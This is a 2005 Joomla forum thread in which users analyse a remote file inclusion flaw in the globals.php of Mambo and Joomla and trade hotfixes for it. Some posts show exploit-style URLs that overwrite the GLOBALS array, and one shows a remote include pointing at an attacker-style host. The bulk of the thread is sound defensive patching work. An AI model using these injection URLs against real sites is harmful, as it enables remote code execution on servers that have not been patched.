Mambo remote code execution (also affects Joomla)

Enibevoli · **Joined:** Wed Sep 07, 2005 7:10 am **Posts:** 9

See http://www.derkeiler.com/Mailing-Lists/ ... /0535.html

I've read comments from more literate PHP programmers than myself that Joomla 1.0.3 is vulnerable, too.

A first fix has been posted here (warning: I don't know if this code is "safe"): http://nopaste.php-q.net/172937

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

Hmm... but configuration.php is included after globals.php... I don't see the security hole (maybe I am blind?)

CubaLibre · **Posted:** Thu Nov 17, 2005 8:44 pm

I already informed stingrey about the security issue and the possible fixes (there is another one at the same site).
So I expect we will hear from the core team very soon, telling us if joomla is affected or not and if so, how to fix this.

Greets,
Kurt

TheMuffinMan · **Joined:** Thu Nov 17, 2005 9:39 pm **Posts:** 62

here is the hotfix (is the globals.php-off also vulnerable?)

http://nopaste.php-q.net/172945

or if you get in "Cannot modify headers" trouble try this one:

http://nopaste.php-q.net/172937

you may delete the first lines of code, since these are relevant for mambo.
leaving them shouldn't be a problem (I hope)

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

Can anyone point me to the issue... this is from the index.php (Mambo 4.5.1a and Joomla 1.0.3):

Code:

include_once( 'globals.php' );
require_once( 'configuration.php' );

globals.php may cause the global variable $mosConfig_absolute_path (like any other) to be set according to the request variables... then configuration.php is included and overwrites that value anyway... where is the security hole? If it were the oposite order I'd understand it.

Btw. globals.php-off is not "vulnarable" because it does the oposite... would remove global variables if they are a request variable as well. (so it could remove $mosConfig_absolute_path but not set it... but also here the configuration.php is included after globals.php)

Maybe someone just thought there is a risk by just looking at it?

In either case I think it would be more appropriate informing the Core team and not the public for true holes. (Someone could use that information to hack not updated servers)

TheMuffinMan · **Joined:** Thu Nov 17, 2005 9:39 pm **Posts:** 62

where the security hole is is a good question, I just blocked the $GLOBALS[$key] thinggy if a "mosConfig_absolute_path" string is incoming.

however, I'm developing some stuff for mambo/joomla! for about 3 months now and I still wonder why such curious things like the ones in globals.php are built in? (putting some keys/vals without checking into $GLOBALS)

maybe there should be a real code cleaning project be opened soon?

TheMuffinMan · **Joined:** Thu Nov 17, 2005 9:39 pm **Posts:** 62

ah ok, i think I got it,

the variable $mosConfig_absolute_path in configuration.php is _not_overwritten since there is no extract() happening.
so if you use $GLOBALS["mosConfig_absolute_path "] somewhere in mambo/joomla, its value can be really overwritten.

on place for overwriting could be:

\administrator\components\com_templates\admin.templates.php (line 189)

require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

easily overwrite with:

require_once( 'http://www.scriptkiddy.org/administrator/includes/pageNavigation.php' );

I guess, a lot of other things can be overwritten, too.

I believe the core team will come to the conclusion to better fix it

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

TheMuffinMan wrote:

however, I'm developing some stuff for mambo/joomla! for about 3 months now and I still wonder why such curious things like the ones in globals.php are built in? (putting some keys/vals without checking into $GLOBALS)

There is not so much wrong about it... it emulates the php configuration (which would not check either). By myself I would prefer it to off and if you look at http://help.joomla.org/ "Hardening Joomla!":

Quote:

Mambo and Joomla! by default emulate a PHP setting called register_globals = on. This is generally considered to be an undesirable condition in modern web application design. The preferred setting for production sites is register_globals = off. While not a cure-all, it does prevent some forms of malicious attack due to bugs or poor programming practices.

To emulate this setting in Joomla!, rename globals.php to globals.php-on and then rename globals.php-off to globals.php.

However, we make no guarantee that all custom addons will still work correctly as the author may have been relying on the fact that register_globals was set to On.

TheMuffinMan wrote:

the variable $mosConfig_absolute_path in configuration.php is _not_overwritten since there is no extract() happening.
so if you use $GLOBALS["mosConfig_absolute_path "] somewhere in mambo/joomla, its value can be really overwritten.

The configuration.php is included when beeing in the global variable scope (it is not within a function)... so it refers to the same variable.

The following are equal:

Code:

$GLOBALS['mosConfig_absolute_path'] = 'abc';

Code:

global $mosConfig_absolute_path;
$mosConfig_absolute_path = 'abc';

(the global statement is not required when beeing in a global variable scope anyway)

TheMuffinMan · **Joined:** Thu Nov 17, 2005 9:39 pm **Posts:** 62

Quote:

The configuration.php is included when beeing in the global variable scope (it is not within a function)... so it refers to the same variable.

aaah, ok, didn't expect $GLOBALS indices pointing to their corresponding variables.

so, I'm taking back everything...

but, maybe its really just a hoax, trying to keep my eyes a little bit closer on it.

TheMuffinMan · **Joined:** Thu Nov 17, 2005 9:39 pm **Posts:** 62

ok, I think this is a hoax.

it seems the poster on full-disclosure thought the get/post variables would be given straigt into globals array (as I did)

Quote:

Date: Wed, 16 Nov 2005 16:44:28 +0100
To: full-disclosure@lists.grok.org.uk

a vulnerability exist in globals.php when register_globals is off and allow
remote code inclusion
this a GLOBALS overwrite
in components/com_content/content.html.php
there is the line:
require_once( $GLOBALS['mosConfig_absolute_path'] .
'/includes/HTML_toolbar.php' );

ok

da globals.php:
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value){
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}

da fake protect in mambo.php:

if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Post variable hack attempted.' );
}
poc: http://enviede.wistee-heb.fr/index.php?cat=poc
slythers@gmail.com

acepp · **Posted:** Fri Nov 18, 2005 11:06 am

So is there or isnt there a security issue here?

soeren · **Posted:** Fri Nov 18, 2005 11:33 am

Hello,

it IS a security issue and a VERY BIG one.
I tested the exploit query string against a Mambo 4.5.2.3 site and it wanted to include a remote PHP file (here: HTML_Toolbar.php) and execute it locally.
I'd warn anyone just to laugh about that or thinking it's a hoax. It is NOT.
Every installation of Mambo 4.5.2.3 needs to be fixed, otherwise it's seriously vulnerable.

Joomla seems NOT to be affected and just prints "Hacking attempt..." on the screen when using the same exploit query string.

We need a fix for this!

ciao, Soeren

acepp · **Posted:** Fri Nov 18, 2005 11:53 am

im using Joomla! 1.0.3, so i guess im safe... right? $:-\$
if it doesnt affect Joomla, then it would have to be brought to the attention of the Mambo Development Team and they would have to find a fix.

sc00zy · **Posted:** Fri Nov 18, 2005 11:57 am

Maybe someone from the coreteam can give more information on this issue? Not that I don't believe you soeren

acepp · **Posted:** Fri Nov 18, 2005 12:26 pm

yes i havent heard anything formal from any of the Joomla! development team.
it would be great if it can be clarified.

abusado · **Joined:** Mon Oct 31, 2005 6:20 pm **Posts:** 1

There is a Big Security issue here.. and i already saw in zone-h that mamboserver had already been tagged

as of now i take my site under maitenance and redirect my users to another host that says im under maintenance until joomla releases some patch for it whew,.,.

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

soeren wrote:

it IS a security issue and a VERY BIG one.
I tested the exploit query string against a Mambo 4.5.2.3 site and it wanted to include a remote PHP file (here: HTML_Toolbar.php) and execute it locally.
I'd warn anyone just to laugh about that or thinking it's a hoax. It is NOT.
Every installation of Mambo 4.5.2.3 needs to be fixed, otherwise it's seriously vulnerable.

What did you do to test it?
I opened http://host/index.php?mosConfig_absolute_path=abc and did not get any error. Maybe you are using an additional hack?
Also including a file like include('http://remotehost/file.php'); does execute a remote script but NOT locally... it would just insert the output of the remote script into the output of the (local if you want) request.

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

Ok, I finally got it... the hole is not that it would overwrite $mosConfig_absolute_path, this is merely an effect... it is overwriting the GLOBALS array itself. So something like http://host/index.php?GLOBALS[mosConfig_absolute_path]=xyz will cause a problem... actually already http://host/index.php?GLOBALS[0 ]=xyz would cause a problem as well.
My test:
- Mambo 4.5.1a: error appears ("hole" effective)
- Mambo 4.5.2.3 and Joomla 1.0.3: Message "Fatal error. Global variable hack attempted." appears.

So I believe there is no fix needed for latest versions of each... however... so far I see you are able to exploit it when beeing on the same host. If you are not it may not be that easy to explot it (but the whole globals stuff would not work correctly anymore so I don't know).

soeren · **Posted:** Fri Nov 18, 2005 4:45 pm

Please note, that the exploit is not an exploit when the machine is running PHP >= 4.41 or 5.0.4.

When you have
- Mambo < 4.5.2.3
- register_globals=Off
- PHP < 4.4.1 or 5.0.4

your site is vulnerable.

ciao, Soeren

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

With the URL which Soeren sent me by PM I could see still an error in 4.5.2.3 because another super global array is overwritten as well.
In Joomla the problem seem not to appear because the content.html.php does not include the file there (but the problem could appear somewhere else).

Anyhow... the problem is not $mosConfig_absolute_path nor is it how HTML_toolbar.php is included. While by myself I prefer to use the global statement and access global variables like regular variables it is completely correct to use $GLOBALS instead. The problem is that due to &GLOBALS= the GLOBALS super global array is overwritten. And the "Global variable hack attempted" check can be tricked by a similiar approach (this is maybe not good for public).

The "solution" in http://nopaste.php-q.net/172945 is not really a fix... while it "solves" an issue for "mosConfig_absolute_path" the same problem stays for other variables... instead it should prevent super globals to get overwritten... those are for example: $GLOBALS, $_REQUEST, $_SESSION.

A quick fix is very simple: have an empty globals.php (or remove the include).
Scripts that rely on register globals may be vulnerable anyway and others should not care. When having the PHP setting register_globals=On PHP should make sure that super globals get not overwritten.
(The other fix would be to prevent those other variables to get overwritten)

The globals-off.php may cause problems as well by causing super globals to get removed but it should not be possible to add certain values.

And again... when a file is included that contains "http://" (or another protocol) it is not executed within the same PHP context but is treated as a separate HTTP request and the output is included.

I hope that helps... and I am glad if someone corrects me.

Edit: ... and btw... if the following part were in the beginning of globals.php instead of in mambo.php/joomla.php that would help as well:

Code:

if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST, CASE_LOWER ) ) ) ) {
   die( 'Fatal error.  Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST, CASE_LOWER ) ) ) ) {
   die( 'Fatal error.  Post variable hack attempted.' );
}

friesengeist · **Joined:** Sat Sep 10, 2005 10:31 pm **Posts:** 823

de wrote:

And again... when a file is included that contains "http://" (or another protocol) it is not executed within the same PHP context but is treated as a separate HTTP request and the output is included.

You're right about that. However, keep in mind that someone could have configured his webserver to send php-files asis, meaning as unparsed textfiles.. Your skript then includes an executable php-file, and the attacker could have any code he wants executed by your skript on your server!

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

friesengeist wrote:

You're right about that. However, keep in mind that someone could have configured his webserver to send php-files asis, meaning as unparsed textfiles.. Your skript then includes an executable php-file, and the attacker could have any code he wants executed by your skript on your server!

Ok, true... I assumed that PHP does not parse the output... but I see I was wrong about that assumption.

masterchief · **Posted:** Fri Nov 18, 2005 10:41 pm

soeren wrote:

When you have
- Mambo < 4.5.2.3
- register_globals=Off
- PHP < 4.4.1 or 5.0.4

If anyone can replicate this exploit on an older verison of PHP let us know. I've had a good look but can't see any trouble.

Note in Joomla 1.1 we will be switching the globals.php to the off emulation mode as a default.

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

masterchief wrote:

If anyone can replicate this exploit on an older verison of PHP let us know. I've had a good look but can't see any trouble.

Code:

Send report
User 'masterchief' has blocked your personal message.

I'd prefer to not make the full details public ;-)

masterchief · **Posted:** Fri Nov 18, 2005 11:29 pm

Sorry, I do have PM's turned off (the number was just getting rediculous). The mail link should be ok though.

friesengeist · **Joined:** Sat Sep 10, 2005 10:31 pm **Posts:** 823

First of all: there is a big security threat. I could confirm that with $ambo 4.5.2.3 and the current Joomla trunk version (1109). It is possible - using the right URL - to have your site include and execute a remote script! soeren is right, but Joomla is also affected.

Took me some time to locate the bug, though. As "de" states, configuration.php is loaded after globals.php. What I completely overlooked is this: includes/sef.php also registers the globals once again! So if you have SEF turned on, the two earlier fixes in this thread won't help.

As a quick and dirty fix, change includes.sef.php, around line 160, from

Code:

   // Extract to globals
   while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
   // Don't allow config vars to be passed as global
   include( "configuration.php" );

to

Code:

   // Extract to globals
   while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
   // Don't allow config vars to be passed as global
   include( "configuration.php" );
   $GLOBALS['mosConfig_absolute_path'] = $mosConfig_absolute_path;

friesengeist · **Joined:** Sat Sep 10, 2005 10:31 pm **Posts:** 823

TheMuffinMan wrote:

here is the hotfix (is the globals.php-off also vulnerable?)
http://nopaste.php-q.net/172945
or if you get in "Cannot modify headers" trouble try this one:
http://nopaste.php-q.net/172937

These hotfixes are both not safe!

In Mambo (only tested with 4.5.2.3), or in Joomla (only tested with the SVN Branch 1.0 at revision 1109) change

includes/sef.php as stated in my previous post
index.php and index2.php as follows:

[code=originalaly in index.php and index2.php]
include_once ('globals.php');
require_once ('configuration.php');
[/code]
to

Code:

include_once ('globals.php');
require_once ('configuration.php');
$GLOBALS['mosConfig_absolute_path'] = $mosConfig_absolute_path;

Seems, like there is a better way coming up in Joomla 1.0.4 though, so this is just a quick workaround.

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

"Resetting" $mosConfig_absolute_path would assume that this is the only variable which could cause harm... but I believe this is like giving the symptom a cure :-)

Anyhow... I thought it might be easier if I give a complete "fix" (at least I believe it is):

Code:

<?php
if (!ini_get('register_globals')) {
   global $superGlobals;
   $superGlobals   = array('GLOBALS', '_SERVER', '_GET', '_POST', '_COOKIE', '_FILES', '_ENV', '_REQUEST', '_SESSION');
   
   function registerGlobal($key, $value) {
      global $superGlobals;
      if (!in_array(strtoupper($key), $superGlobals)) {
         $GLOBALS[$key]   = $value;
      }
   }
   
   function registerGlobalArray($array) {
      global $superGlobals;
      foreach($array as $key => $value) {
         if (!in_array(strtoupper($key), $superGlobals)) {
            $GLOBALS[$key]   = $value;
         }
      }
   }
   
   registerGlobalArray($_FILES);
   registerGlobalArray($_ENV);
   registerGlobalArray($_GET);
   registerGlobalArray($_POST);
   registerGlobalArray($_COOKIE);
   registerGlobalArray($_SERVER);
   
   if (isset($_SESSION)) {
      registerGlobalArray($_SESSION);
   }   
   
   foreach ($_FILES as $key => $value){
      registerGlobal($key, $_FILES[$key]['tmp_name']);
      foreach ($value as $ext => $value2){
         $key2 = $key . '_' . $ext;
         registerGlobal($key2, $value2);
      }
   }
}
?>

(this would be the new globals.php)

But as mentioned ealier... having an empty globals.php should do as well (it then just uses the PHP setting... the fastest anyway).

Edit: ohh and the other spotted area in sef.php...
The following line (167):

Code:

while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;

should be replaced by:

Code:

registerGlobalArray($_GET);

friesengeist · **Joined:** Sat Sep 10, 2005 10:31 pm **Posts:** 823

de wrote:

"Resetting" $mosConfig_absolute_path would assume that this is the only variable which could cause harm... but I believe this is like giving the symptom a cure :-)

I totally agree on this. As I said, it's only a quick and dirty fix.

de wrote:

Anyhow... I thought it might be easier if I give a complete "fix" (at least I believe it is):
[...]
(this would be the new globals.php)

Looks good. The problem is, that the GLOBALS are overwritten once again in includes/sef.php.
[code=sef.php, line 178]
// Extract to globals
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
// Don't allow config vars to be passed as global
include( "configuration.php" );
[/code]
This makes your nice globals.php useless if you have SEF enabled. The included configuration.php is also useless at this point as we are in a function context and the $mosConfig_* variables are not exported to global scope. So if you would include your globals.php once again in sef.php instead of the "while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;", you should be fine (maybe we don't even need that line, haven't thought of it yet).
Edit: Didn't see your edit early enough

de wrote:

But as mentioned ealier... having an empty globals.php should do as well (it then just uses the PHP setting... the fastest anyway).

True

It's the fastest and safest (with register_globals=off in php.ini).

By the way, in the upcoming Joomla! 1.1, register_globals=off is emulated by the globals.php by default.

de · **Joined:** Thu Aug 18, 2005 9:06 am **Posts:** 1465

friesengeist wrote:

The included configuration.php is also useless at this point as we are in a function context and the $mosConfig_* variables are not exported to global scope.

Hmm... you almost got me... but in my sef.php it seem not to be inside a function? But also another line number... and in the current version which I checked out this second I do not even see the sef.php.

If it is really inside a function one could write something like this before calling "registerGlobalArray":

Code:

global $mosConfig_absolute_path, $mosConfig_cachepath, $mosConfig_host, $mosConfig_secret; // and whatever else could be relevant

Alternatively the function registerGlobalArray could be modified:

Code:

<?php
   function registerGlobalArray($array) {
      global $superGlobals;
      foreach($array as $key => $value) {
         if ((!in_array(strtoupper($key), $superGlobals)) && (strpos($key, 'mosConfig_') !== 0)){
            $GLOBALS[$key]   = $value;
         }
      }
   }
?>

(not tested) I would not really suggest this though as it may suggest a security which is not there (for example when using the built in register globals).

That sef.php always "registers" those GET variables is an error somehow anyway as it does not consider whether the original globals.php was included or globals.php-off.
Note: if you are using an addition SEF component another sef.php gets included. (at least until they are replaced by Bots)

OT: Btw. are you living in another timezone?

Joomla! Discussion Forums

Forum rules

Mambo remote code execution (also affects Joomla)

Quick reply

Who is online